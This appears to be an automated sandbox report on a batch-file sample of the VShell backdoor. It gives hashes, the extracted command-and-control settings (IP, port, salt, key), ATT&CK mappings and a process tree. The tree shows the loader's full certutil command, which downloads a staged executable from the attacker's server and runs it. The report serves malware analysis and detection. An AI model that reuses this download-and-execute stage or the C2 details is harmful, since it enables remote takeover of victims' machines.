vshell | 903ad787dd1a56303606a03acfe402da6c37dfad2d060e546f142a9dc2591c97

Analysis

max time kernel
148s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
10/09/2026, 16:59

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General

Target
jaffacakes118_903ad787dd1a56303606a03acfe402da6c37dfad2d060e546f142a9dc2591c97.bat
Size 512B
Sample260910-vhpedsvxfs
SHA256 903ad787dd1a56303606a03acfe402da6c37dfad2d060e546f142a9dc2591c97
MD5 f290c3dc8f17ea42630c4980fb1f2d29
SHA1 d3e5364d97dcdf1b8c4fa80e0dee375dee466337
SHA512 ffd4656a58690c4c2cfce8893d7f70a9bd745f1d92986dd38fd30d81f8beef80824ca42122fadc62e908ead1c65f294f0c1fe12ac60814868e357009e2a71ec9
TLSH
T18FF09ECD08324EFD0FC9CC73F4546186B00AA0CCCAB1A5D82B9125DE5D480D936EBB92
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor execution vshell rat

Malware Config

Extracted

Family

vshell

107.173.101.114

Attributes

port
10000
salt
qwWVRFS
type
tcp
vkey
qwwrvd

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/2584-7-0x0000000067700000-0x0000000067ED4000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
3	4016	certutil.exe
6	4016	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
2584	a16cb5d2tcp.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4636	cmd.exe
3240	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2584	a16cb5d2tcp.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeSecurityPrivilege	1312	WMIC.exe
Token: SeTakeOwnershipPrivilege	1312	WMIC.exe
Token: SeLoadDriverPrivilege	1312	WMIC.exe
Token: SeSystemProfilePrivilege	1312	WMIC.exe
Token: SeSystemtimePrivilege	1312	WMIC.exe
Token: SeProfSingleProcessPrivilege	1312	WMIC.exe
Token: SeIncBasePriorityPrivilege	1312	WMIC.exe
Token: SeCreatePagefilePrivilege	1312	WMIC.exe
Token: SeBackupPrivilege	1312	WMIC.exe
Token: SeRestorePrivilege	1312	WMIC.exe
Token: SeShutdownPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1312	WMIC.exe
Token: SeRemoteShutdownPrivilege	1312	WMIC.exe
Token: SeUndockPrivilege	1312	WMIC.exe
Token: SeManageVolumePrivilege	1312	WMIC.exe
Token: 33	1312	WMIC.exe
Token: 34	1312	WMIC.exe
Token: 35	1312	WMIC.exe
Token: 36	1312	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1312	WMIC.exe
Token: SeSecurityPrivilege	1312	WMIC.exe
Token: SeTakeOwnershipPrivilege	1312	WMIC.exe
Token: SeLoadDriverPrivilege	1312	WMIC.exe
Token: SeSystemProfilePrivilege	1312	WMIC.exe
Token: SeSystemtimePrivilege	1312	WMIC.exe
Token: SeProfSingleProcessPrivilege	1312	WMIC.exe
Token: SeIncBasePriorityPrivilege	1312	WMIC.exe
Token: SeCreatePagefilePrivilege	1312	WMIC.exe
Token: SeBackupPrivilege	1312	WMIC.exe
Token: SeRestorePrivilege	1312	WMIC.exe
Token: SeShutdownPrivilege	1312	WMIC.exe
Token: SeDebugPrivilege	1312	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1312	WMIC.exe
Token: SeRemoteShutdownPrivilege	1312	WMIC.exe
Token: SeUndockPrivilege	1312	WMIC.exe
Token: SeManageVolumePrivilege	1312	WMIC.exe
Token: 33	1312	WMIC.exe
Token: 34	1312	WMIC.exe
Token: 35	1312	WMIC.exe
Token: 36	1312	WMIC.exe
Token: SeDebugPrivilege	2584	a16cb5d2tcp.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4636 wrote to memory of 3240	4636	cmd.exe	86
PID 3240 wrote to memory of 1312	3240	cmd.exe	87
PID 3240 wrote to memory of 1508	3240	cmd.exe	88
PID 4636 wrote to memory of 4016	4636	cmd.exe	90
PID 4636 wrote to memory of 2584	4636	cmd.exe	91

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\jaffacakes118_903ad787dd1a56303606a03acfe402da6c37dfad2d060e546f142a9dc2591c97.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1312
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:1508
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://107.173.101.114:10000/?h=107.173.101.114&p=10000&t=tcp&a=w64&stage=true" "C:\Users\Public\a16cb5d2tcp.exe"
  2⤵
  - Downloads MZ/PE file
  PID:4016
- C:\Users\Public\a16cb5d2tcp.exe
  "C:\Users\Public\a16cb5d2tcp.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

a16cb5d2tcp.exe

Path C:\Users\Public\a16cb5d2tcp.exe
Size 3KB
SHA256 ab500ad2b80fa0994cc521dbdf2619f4910498cef685aed0b58bd23a4e16988e
MD5 6a1c343bec9f0ae29f493a0a93206542
SHA1 06511fbb522625b1b52d461ded9dec1e671d1ab9
SHA512 ae4047a21813b678f2a9d605b030c81843d76a6984d85e0679af8a2e5adc4a5b3af678ea75681c9c0f281180986a4c9b522b8e3b378e91a0954a7804cc986028
TLSH
T1C471B541605416F2D98DE3BFC487B895FD5FB248A2C84B0B0398981A2FB207BB0D9613
MD5 SHA1 SHA512 TLSH

Submit Download

memory/2584-7-0x0000000067700000-0x0000000067ED4000-memory.dmp

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memory/2584-11-0x00000231FD430000-0x00000231FF0CD000-memory.dmp

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memory/2584-18-0x00000231FD430000-0x00000231FF0CD000-memory.dmp

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